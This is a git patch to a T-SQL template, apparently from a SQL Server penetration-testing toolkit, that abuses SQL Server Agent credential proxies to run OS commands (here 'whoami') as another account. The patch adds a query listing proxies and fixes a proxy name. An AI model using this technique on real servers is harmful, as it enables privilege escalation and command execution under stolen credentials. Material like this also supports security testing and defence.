From a995179a3f976bb1db23a374817193e469b11ea0 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 12:08:30 -0500 Subject: [PATCH] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index f4a7bab..edfe981 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -44,6 +44,22 @@ EXEC sp_grant_proxy_to_subsystem @proxy_name = N'MyCredentialProxy', @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem +-------------------------- +-- List Proxies +-------------------------- + +USE msdb; +GO + +SELECT + proxy_id, + name AS proxy_name, + credential_id, + enabled +FROM + dbo.sysproxies; +GO + -------------------------- -- Create the SQL Server Agent Job Configured to use the Proxy Account -------------------------- @@ -63,7 +79,7 @@ EXEC sp_add_jobstep @command = N'whoami', -- The OS command to execute @on_success_action = 1, -- 1 = Quit with success @on_fail_action = 2, -- 2 = Quit with failure - @proxy_name = N'OSCommandProxy'; -- The proxy created earlier + @proxy_name = N'MyCredentialProxy'; -- The proxy created earlier -- Add a schedule to the job (optional, can be manual or scheduled) EXEC sp_add_jobschedule